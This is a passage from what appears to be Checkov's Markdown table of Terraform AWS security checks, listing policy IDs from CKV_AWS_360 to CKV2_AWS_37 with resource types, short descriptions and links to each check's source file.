[NeptuneDBClustersIAMDatabaseAuthenticationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NeptuneDBClustersIAMDatabaseAuthenticationEnabled.py)                             |\n|  508 | CKV_AWS_360     | resource | aws_docdb_cluster                                                | Ensure DocumentDB has an adequate backup retention period                                                                                                                                                | Terraform | [DocDBBackupRetention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DocDBBackupRetention.py)                                                                                       |\n|  509 | CKV_AWS_361     | resource | aws_neptune_cluster                                              | Ensure that Neptune DB cluster has automated backups enabled with adequate retention                                                                                                                     | Terraform | [NeptuneClusterBackupRetention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NeptuneClusterBackupRetention.py)                                                                     |\n|  510 | CKV_AWS_362     | resource | aws_neptune_cluster                                              | Neptune DB clusters should be configured to copy tags to snapshots                                                                                                                                       | Terraform | [NeptuneDBClustersCopyTagsToSnapshots.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NeptuneDBClustersCopyTagsToSnapshots.py)                                                       |\n|  511 | CKV_AWS_363     | resource | aws_lambda_function                                              | Ensure Lambda Runtime is not deprecated                                                                                                                                                                  | Terraform | [DeprecatedLambdaRuntime.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DeprecatedLambdaRuntime.py)                                                                                 |\n|  512 | CKV_AWS_364     | resource | aws_lambda_permission                                            | Ensure that AWS Lambda function permissions delegated to AWS services are limited by SourceArn or SourceAccount                                                                                          | Terraform | [LambdaServicePermission.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaServicePermission.py)                                                                                 |\n|  513 | CKV_AWS_365     | resource | aws_ses_configuration_set                                        | Ensure SES Configuration Set enforces TLS usage                                                                                                                                                          | Terraform | [SesConfigurationSetDefinesTLS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SesConfigurationSetDefinesTLS.py)                                                                     |\n|  514 | CKV_AWS_366     | resource | aws_cognito_identity_pool                                        | Ensure AWS Cognito identity pool does not allow unauthenticated guest access                                                                                                                             | Terraform | [CognitoUnauthenticatedIdentities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CognitoUnauthenticatedIdentities.py)                                                               |\n|  515 | CKV_AWS_367     | resource | aws_sagemaker_data_quality_job_definition                        | Ensure Amazon Sagemaker Data Quality Job uses KMS to encrypt model artifacts                                                                                                                             | Terraform | [SagemakerDataQualityJobDefinitionEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerDataQualityJobDefinitionEncryption.py)                                         |\n|  516 | CKV_AWS_368     | resource | aws_sagemaker_data_quality_job_definition                        | Ensure Amazon Sagemaker Data Quality Job uses KMS to encrypt data on attached storage volume                                                                                                             | Terraform | [SagemakerDataQualityJobDefinitionVolumeEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerDataQualityJobDefinitionVolumeEncryption.py)                             |\n|  517 | CKV_AWS_369     | resource | aws_sagemaker_data_quality_job_definition                        | Ensure Amazon Sagemaker Data Quality Job encrypts all communications between instances used for monitoring jobs                                                                                          | Terraform | [SagemakerDataQualityJobDefinitionTrafficEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerDataQualityJobDefinitionTrafficEncryption.py)                           |\n|  518 | CKV_AWS_370     | resource | aws_sagemaker_model                                              | Ensure Amazon SageMaker model uses network isolation                                                                                                                                                     | Terraform | [SagemakerModelWithNetworkIsolation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerModelWithNetworkIsolation.py)                                                           |\n|  519 | CKV_AWS_371     | resource | aws_sagemaker_notebook_instance                                  | Ensure Amazon SageMaker Notebook Instance only allows for IMDSv2                                                                                                                                         | Terraform | [SagemakerNotebookInstanceAllowsIMDSv2.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerNotebookInstanceAllowsIMDSv2.py)                                                     |\n|  520 | CKV_AWS_372     | resource | aws_sagemaker_flow_definition                                    | Ensure Amazon SageMaker Flow Definition uses KMS for output configurations                                                                                                                               | Terraform | [SagemakerFlowDefinitionUsesKMS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerFlowDefinitionUsesKMS.py)                                                                   |\n|  521 | CKV_AWS_373     | resource | aws_bedrockagent_agent                                           | Ensure Bedrock Agent is encrypted with a CMK                                                                                                                                                             | Terraform | [BedrockAgentEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/BedrockAgentEncrypted.py)                                                                                     |\n|  522 | CKV_AWS_374     | resource | aws_cloudfront_distribution                                      | Ensure AWS CloudFront web distribution has geo restriction enabled                                                                                                                                       | Terraform | [CloudFrontGeoRestrictionDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudFrontGeoRestrictionDisabled.py)                                                               |\n|  523 | CKV_AWS_375     | resource | aws_s3_bucket_acl                                                | Ensure AWS S3 bucket does not have global view ACL permissions enabled                                                                                                                                   | Terraform | [S3GlobalViewACL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3GlobalViewACL.py)                                                                                                 |\n|  524 | CKV_AWS_376     | resource | aws_elb                                                          | Ensure AWS Elastic Load Balancer listener uses TLS/SSL                                                                                                                                                   | Terraform | [ELBwListenerNotTLSSSL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ELBwListenerNotTLSSSL.py)                                                                                     |\n|  525 | CKV_AWS_377     | resource | aws_route53domains_registered_domain                             | Ensure Route 53 domains have transfer lock protection                                                                                                                                                    | Terraform | [Route53TransferLock.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/Route53TransferLock.py)                                                                                         |\n|  526 | CKV_AWS_378     | resource | aws_alb_listener                                                 | Ensure AWS Load Balancer doesn't use HTTP protocol                                                                                                                                                       | Terraform | [LBTargetGroup.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LBTargetGroup.yaml)                                                                                             |\n|  527 | CKV_AWS_378     | resource | aws_alb_target_group                                             | Ensure AWS Load Balancer doesn't use HTTP protocol                                                                                                                                                       | Terraform | [LBTargetGroup.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LBTargetGroup.yaml)                                                                                             |\n|  528 | CKV_AWS_378     | resource | aws_lb_listener                                                  | Ensure AWS Load Balancer doesn't use HTTP protocol                                                                                                                                                       | Terraform | [LBTargetGroup.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LBTargetGroup.yaml)                                                                                             |\n|  529 | CKV_AWS_378     | resource | aws_lb_target_group                                              | Ensure AWS Load Balancer doesn't use HTTP protocol                                                                                                                                                       | Terraform | [LBTargetGroup.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LBTargetGroup.yaml)                                                                                             |\n|  530 | CKV_AWS_379     | resource | aws_s3_bucket_acl                                                | Ensure AWS S3 bucket is configured with secure data transport policy                                                                                                                                     | Terraform | [S3SecureDataTransport.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3SecureDataTransport.py)                                                                                     |\n|  531 | CKV_AWS_380     | resource | aws_transfer_server                                              | Ensure AWS Transfer Server uses latest Security Policy                                                                                                                                                   | Terraform | [TransferServerLatestPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/TransferServerLatestPolicy.py)                                                                           |\n|  532 | CKV_AWS_381     | resource | aws_codegurureviewer_repository_association                      | Make sure that aws_codegurureviewer_repository_association has a CMK                                                                                                                                     | Terraform | [AWSCodeGuruHasCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AWSCodeGuruHasCMK.py)                                                                                             |\n|  533 | CKV_AWS_382     | resource | aws_security_group                                               | Ensure no security groups allow egress from 0.0.0.0:0 to port -1                                                                                                                                         | Terraform | [SecurityGroupUnrestrictedEgressAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedEgressAny.py)                                                           |\n|  534 | CKV_AWS_382     | resource | aws_security_group_rule                                          | Ensure no security groups allow egress from 0.0.0.0:0 to port -1                                                                                                                                         | Terraform | [SecurityGroupUnrestrictedEgressAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedEgressAny.py)                                                           |\n|  535 | CKV_AWS_382     | resource | aws_vpc_security_group_egress_rule                               | Ensure no security groups allow egress from 0.0.0.0:0 to port -1                                                                                                                                         | Terraform | [SecurityGroupUnrestrictedEgressAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedEgressAny.py)                                                           |\n|  536 | CKV_AWS_383     | resource | aws_bedrockagent_agent                                           | Ensure AWS Bedrock agent is associated with Bedrock guardrails                                                                                                                                           | Terraform | [BedrockGuardrails.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/BedrockGuardrails.py)                                                                                             |\n|  537 | CKV_AWS_385     | resource | aws_sns_topic_policy                                             | Ensure AWS SNS topic policies do not allow cross-account access                                                                                                                                          | Terraform | [SNSCrossAccountAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SNSCrossAccountAccess.py)                                                                                     |\n|  538 | CKV_AWS_386     | data     | aws_ami                                                          | Reduce potential for WhoAMI cloud image name confusion attack                                                                                                                                            | Terraform | [WhoAMI.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/WhoAMI.py)                                                                                                                       |\n|  539 | CKV_AWS_387     | resource | aws_sqs_queue_policy                                             | Ensure SQS policy does not allow public access through wildcards                                                                                                                                         | Terraform | [SQSOverlyPermissive.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SQSOverlyPermissive.py)                                                                                         |\n|  540 | CKV_AWS_388     | resource | aws_db_instance                                                  | Ensure AWS Aurora PostgreSQL is not exposed to local file read vulnerability                                                                                                                             | Terraform | [UnpatchedAuroraPostgresDB.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/UnpatchedAuroraPostgresDB.py)                                                                             |\n|  541 | CKV_AWS_389     | resource | aws_launch_configuration                                         | Ensure AWS Auto Scaling group launch configuration doesn't have public IP address assignment enabled                                                                                                     | Terraform | [AutoScalingGroupWithPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AutoScalingGroupWithPublicAccess.py)                                                               |\n|  542 | CKV_AWS_390     | resource | aws_emr_block_public_access_configuration                        | Ensure AWS EMR block public access setting is enabled                                                                                                                                                    | Terraform | [EMRPubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EMRPubliclyAccessible.py)                                                                                     |\n|  543 | CKV_AWS_391     | resource | aws_redshift_cluster                                             | Avoid AWS Redshift cluster with commonly used master username and public access setting enabled                                                                                                          | Terraform | [RedshiftClusterWithCommonUsernameAndPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftClusterWithCommonUsernameAndPublicAccess.py)                               |\n|  544 | CKV_AWS_392     | resource | aws_s3_access_point                                              | Ensure AWS S3 access point block public access setting is enabled                                                                                                                                        | Terraform | [S3AccessPointPubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3AccessPointPubliclyAccessible.py)                                                                 |\n|  545 | CKV2_AWS_1      | resource | aws_network_acl                                                  | Ensure that all NACL are attached to subnets                                                                                                                                                             | Terraform | [SubnetHasACL.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/SubnetHasACL.yaml)                                                                                               |\n|  546 | CKV2_AWS_1      | resource | aws_subnet                                                       | Ensure that all NACL are attached to subnets                                                                                                                                                             | Terraform | [SubnetHasACL.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/SubnetHasACL.yaml)                                                                                               |\n|  547 | CKV2_AWS_2      | resource | aws_ebs_volume                                                   | Ensure that only encrypted EBS volumes are attached to EC2 instances                                                                                                                                     | Terraform | [EncryptedEBSVolumeOnlyConnectedToEC2s.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/EncryptedEBSVolumeOnlyConnectedToEC2s.yaml)                                             |\n|  548 | CKV2_AWS_2      | resource | aws_volume_attachment                                            | Ensure that only encrypted EBS volumes are attached to EC2 instances                                                                                                                                     | Terraform | [EncryptedEBSVolumeOnlyConnectedToEC2s.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/EncryptedEBSVolumeOnlyConnectedToEC2s.yaml)                                             |\n|  549 | CKV2_AWS_3      | resource | aws_guardduty_detector                                           | Ensure GuardDuty is enabled to specific org/region                                                                                                                                                       | Terraform | [GuardDutyIsEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/GuardDutyIsEnabled.yaml)                                                                                   |\n|  550 | CKV2_AWS_3      | resource | aws_guardduty_organization_configuration                         | Ensure GuardDuty is enabled to specific org/region                                                                                                                                                       | Terraform | [GuardDutyIsEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/GuardDutyIsEnabled.yaml)                                                                                   |\n|  551 | CKV2_AWS_4      | resource | aws_api_gateway_method_settings                                  | Ensure API Gateway stage have logging level defined as appropriate                                                                                                                                       | Terraform | [APIGWLoggingLevelsDefinedProperly.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIGWLoggingLevelsDefinedProperly.yaml)                                                     |\n|  552 | CKV2_AWS_4      | resource | aws_api_gateway_stage                                            | Ensure API Gateway stage have logging level defined as appropriate                                                                                                                                       | Terraform | [APIGWLoggingLevelsDefinedProperly.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIGWLoggingLevelsDefinedProperly.yaml)                                                     |\n|  553 | CKV2_AWS_5      | resource | aws_security_group                                               | Ensure that Security Groups are attached to another resource                                                                                                                                             | Terraform | [SGAttachedToResource.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/SGAttachedToResource.yaml)                                                                               |\n|  554 | CKV2_AWS_6      | resource | aws_s3_bucket                                                    | Ensure that S3 bucket has a Public Access block                                                                                                                                                          | Terraform | [S3BucketHasPublicAccessBlock.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketHasPublicAccessBlock.yaml)                                                               |\n|  555 | CKV2_AWS_6      | resource | aws_s3_bucket_public_access_block                                | Ensure that S3 bucket has a Public Access block                                                                                                                                                          | Terraform | [S3BucketHasPublicAccessBlock.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketHasPublicAccessBlock.yaml)                                                               |\n|  556 | CKV2_AWS_7      | resource | aws_emr_cluster                                                  | Ensure that Amazon EMR clusters' security groups are not open to the world                                                                                                                               | Terraform | [AMRClustersNotOpenToInternet.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AMRClustersNotOpenToInternet.yaml)                                                               |\n|  557 | CKV2_AWS_7      | resource | aws_security_group                                               | Ensure that Amazon EMR clusters' security groups are not open to the world                                                                                                                               | Terraform | [AMRClustersNotOpenToInternet.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AMRClustersNotOpenToInternet.yaml)                                                               |\n|  558 | CKV2_AWS_8      | resource | aws_rds_cluster                                                  | Ensure that RDS clusters has backup plan of AWS Backup                                                                                                                                                   | Terraform | [RDSClusterHasBackupPlan.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/RDSClusterHasBackupPlan.yaml)                                                                         |\n|  559 | CKV2_AWS_9      | resource | aws_backup_selection                                             | Ensure that EBS are added in the backup plans of AWS Backup                                                                                                                                              | Terraform | [EBSAddedBackup.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/EBSAddedBackup.yaml)                                                                                           |\n|  560 | CKV2_AWS_10     | resource | aws_cloudtrail                                                   | Ensure CloudTrail trails are integrated with CloudWatch Logs                                                                                                                                             | Terraform | [CloudtrailHasCloudwatch.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CloudtrailHasCloudwatch.yaml)                                                                         |\n|  561 | CKV2_AWS_11     | resource | aws_vpc                                                          | Ensure VPC flow logging is enabled in all VPCs                                                                                                                                                           | Terraform | [VPCHasFlowLog.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/VPCHasFlowLog.yaml)                                                                                             |\n|  562 | CKV2_AWS_12     | resource | aws_default_security_group                                       | Ensure the default security group of every VPC restricts all traffic                                                                                                                                     | Terraform | [VPCHasRestrictedSG.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/VPCHasRestrictedSG.yaml)                                                                                   |\n|  563 | CKV2_AWS_12     | resource | aws_vpc                                                          | Ensure the default security group of every VPC restricts all traffic                                                                                                                                     | Terraform | [VPCHasRestrictedSG.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/VPCHasRestrictedSG.yaml)                                                                                   |\n|  564 | CKV2_AWS_14     | resource | aws_iam_group                                                    | Ensure that IAM groups includes at least one IAM user                                                                                                                                                    | Terraform | [IAMGroupHasAtLeastOneUser.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMGroupHasAtLeastOneUser.yaml)                                                                     |\n|  565 | CKV2_AWS_14     | resource | aws_iam_group_membership                                         | Ensure that IAM groups includes at least one IAM user                                                                                                                                                    | Terraform | [IAMGroupHasAtLeastOneUser.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMGroupHasAtLeastOneUser.yaml)                                                                     |\n|  566 | CKV2_AWS_15     | resource | aws_autoscaling_group                                            | Ensure that auto Scaling groups that are associated with a load balancer are using Elastic Load Balancing health checks.                                                                                 | Terraform | [AutoScallingEnabledELB.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AutoScallingEnabledELB.yaml)                                                                           |\n|  567 | CKV2_AWS_15     | resource | aws_elb                                                          | Ensure that auto Scaling groups that are associated with a load balancer are using Elastic Load Balancing health checks.                                                                                 | Terraform | [AutoScallingEnabledELB.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AutoScallingEnabledELB.yaml)                                                                           |\n|  568 | CKV2_AWS_15     | resource | aws_lb_target_group                                              | Ensure that auto Scaling groups that are associated with a load balancer are using Elastic Load Balancing health checks.                                                                                 | Terraform | [AutoScallingEnabledELB.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AutoScallingEnabledELB.yaml)                                                                           |\n|  569 | CKV2_AWS_16     | resource | aws_appautoscaling_target                                        | Ensure that Auto Scaling is enabled on your DynamoDB tables                                                                                                                                              | Terraform | [AutoScalingEnableOnDynamoDBTables.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AutoScalingEnableOnDynamoDBTables.yaml)                                                     |\n|  570 | CKV2_AWS_16     | resource | aws_dynamodb_table                                               | Ensure that Auto Scaling is enabled on your DynamoDB tables                                                                                                                                              | Terraform | [AutoScalingEnableOnDynamoDBTables.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AutoScalingEnableOnDynamoDBTables.yaml)                                                     |\n|  571 | CKV2_AWS_18     | resource | aws_backup_selection                                             | Ensure that Elastic File System (Amazon EFS) file systems are added in the backup plans of AWS Backup                                                                                                    | Terraform | [EFSAddedBackup.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/EFSAddedBackup.yaml)                                                                                           |\n|  572 | CKV2_AWS_19     | resource | aws_eip                                                          | Ensure that all EIP addresses allocated to a VPC are attached to EC2 instances                                                                                                                           | Terraform | [EIPAllocatedToVPCAttachedEC2.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/EIPAllocatedToVPCAttachedEC2.yaml)                                                               |\n|  573 | CKV2_AWS_19     | resource | aws_eip_association                                              | Ensure that all EIP addresses allocated to a VPC are attached to EC2 instances                                                                                                                           | Terraform | [EIPAllocatedToVPCAttachedEC2.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/EIPAllocatedToVPCAttachedEC2.yaml)                                                               |\n|  574 | CKV2_AWS_20     | resource | aws_alb                                                          | Ensure that ALB redirects HTTP requests into HTTPS ones                                                                                                                                                  | Terraform | [ALBRedirectsHTTPToHTTPS.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ALBRedirectsHTTPToHTTPS.yaml)                                                                         |\n|  575 | CKV2_AWS_20     | resource | aws_alb_listener                                                 | Ensure that ALB redirects HTTP requests into HTTPS ones                                                                                                                                                  | Terraform | [ALBRedirectsHTTPToHTTPS.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ALBRedirectsHTTPToHTTPS.yaml)                                                                         |\n|  576 | CKV2_AWS_20     | resource | aws_lb                                                           | Ensure that ALB redirects HTTP requests into HTTPS ones                                                                                                                                                  | Terraform | [ALBRedirectsHTTPToHTTPS.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ALBRedirectsHTTPToHTTPS.yaml)                                                                         |\n|  577 | CKV2_AWS_20     | resource | aws_lb_listener                                                  | Ensure that ALB redirects HTTP requests into HTTPS ones                                                                                                                                                  | Terraform | [ALBRedirectsHTTPToHTTPS.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ALBRedirectsHTTPToHTTPS.yaml)                                                                         |\n|  578 | CKV2_AWS_21     | resource | aws_iam_group_membership                                         | Ensure that all IAM users are members of at least one IAM group.                                                                                                                                         | Terraform | [IAMUsersAreMembersAtLeastOneGroup.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMUsersAreMembersAtLeastOneGroup.yaml)                                                     |\n|  579 | CKV2_AWS_22     | resource | aws_iam_user                                                     | Ensure an IAM User does not have access to the console                                                                                                                                                   | Terraform | [IAMUserHasNoConsoleAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMUserHasNoConsoleAccess.yaml)                                                                     |\n|  580 | CKV2_AWS_23     | resource | aws_route53_record                                               | Route53 A Record has Attached Resource                                                                                                                                                                   | Terraform | [Route53ARecordAttachedResource.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/Route53ARecordAttachedResource.yaml)                                                           |\n|  581 | CKV2_AWS_27     | resource | aws_rds_cluster                                                  | Ensure Postgres RDS as aws_rds_cluster has Query Logging enabled                                                                                                                                         | Terraform | [PostgresRDSHasQueryLoggingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/PostgresRDSHasQueryLoggingEnabled.yaml)                                                     |\n|  582 | CKV2_AWS_27     | resource | aws_rds_cluster_parameter_group                                  | Ensure Postgres RDS as aws_rds_cluster has Query Logging enabled                                                                                                                                         | Terraform | [PostgresRDSHasQueryLoggingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/PostgresRDSHasQueryLoggingEnabled.yaml)                                                     |\n|  583 | CKV2_AWS_28     | resource | aws_alb                                                          | Ensure public facing ALB are protected by WAF                                                                                                                                                            | Terraform | [ALBProtectedByWAF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ALBProtectedByWAF.yaml)                                                                                     |\n|  584 | CKV2_AWS_28     | resource | aws_lb                                                           | Ensure public facing ALB are protected by WAF                                                                                                                                                            | Terraform | [ALBProtectedByWAF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ALBProtectedByWAF.yaml)                                                                                     |\n|  585 | CKV2_AWS_29     | resource | aws_api_gateway_rest_api                                         | Ensure public API gateway are protected by WAF                                                                                                                                                           | Terraform | [APIProtectedByWAF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIProtectedByWAF.yaml)                                                                                     |\n|  586 | CKV2_AWS_29     | resource | aws_api_gateway_stage                                            | Ensure public API gateway are protected by WAF                                                                                                                                                           | Terraform | [APIProtectedByWAF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIProtectedByWAF.yaml)                                                                                     |\n|  587 | CKV2_AWS_30     | resource | aws_db_instance                                                  | Ensure Postgres RDS as aws_db_instance has Query Logging enabled                                                                                                                                         | Terraform | [PostgresDBHasQueryLoggingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/PostgresDBHasQueryLoggingEnabled.yaml)                                                       |\n|  588 | CKV2_AWS_30     | resource | aws_db_parameter_group                                           | Ensure Postgres RDS as aws_db_instance has Query Logging enabled                                                                                                                                         | Terraform | [PostgresDBHasQueryLoggingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/PostgresDBHasQueryLoggingEnabled.yaml)                                                       |\n|  589 | CKV2_AWS_31     | resource | aws_wafv2_web_acl                                                | Ensure WAF2 has a Logging Configuration                                                                                                                                                                  | Terraform | [WAF2HasLogs.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/WAF2HasLogs.yaml)                                                                                                 |\n|  590 | CKV2_AWS_32     | resource | aws_cloudfront_distribution                                      | Ensure CloudFront distribution has a response headers policy attached                                                                                                                                    | Terraform | [CloudFrontHasResponseHeadersPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CloudFrontHasResponseHeadersPolicy.yaml)                                                   |\n|  591 | CKV2_AWS_33     | resource | aws_appsync_graphql_api                                          | Ensure AppSync is protected by WAF                                                                                                                                                                       | Terraform | [AppSyncProtectedByWAF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AppSyncProtectedByWAF.yaml)                                                                             |\n|  592 | CKV2_AWS_34     | resource | aws_ssm_parameter                                                | AWS SSM Parameter should be Encrypted                                                                                                                                                                    | Terraform | [AWSSSMParameterShouldBeEncrypted.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AWSSSMParameterShouldBeEncrypted.yaml)                                                       |\n|  593 | CKV2_AWS_35     | resource | aws_route                                                        | AWS NAT Gateways should be utilized for the default route                                                                                                                                                | Terraform | [AWSNATGatewaysshouldbeutilized.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AWSNATGatewaysshouldbeutilized.yaml)                                                           |\n|  594 | CKV2_AWS_35     | resource | aws_route_table                                                  | AWS NAT Gateways should be utilized for the default route                                                                                                                                                | Terraform | [AWSNATGatewaysshouldbeutilized.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AWSNATGatewaysshouldbeutilized.yaml)                                                           |\n|  595 | CKV2_AWS_36     | resource | aws_ssm_parameter                                                | Ensure terraform is not sending SSM secrets to untrusted domains over HTTP                                                                                                                               | Terraform | [HTTPNotSendingPasswords.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/HTTPNotSendingPasswords.yaml)                                                                         |\n|  596 | CKV2_AWS_36     | resource | data.http                                                        | Ensure terraform is not sending SSM secrets to untrusted domains over HTTP                                                                                                                               | Terraform | [HTTPNotSendingPasswords.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/HTTPNotSendingPasswords.yaml)                                                                         |\n|  597 | CKV2_AWS_37     | resource | aws                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  598 | CKV2_AWS_37     | resource | aws_accessanalyzer_analyzer                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  599 | CKV2_AWS_37     | resource | aws_accessanalyzer_archive_rule                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | 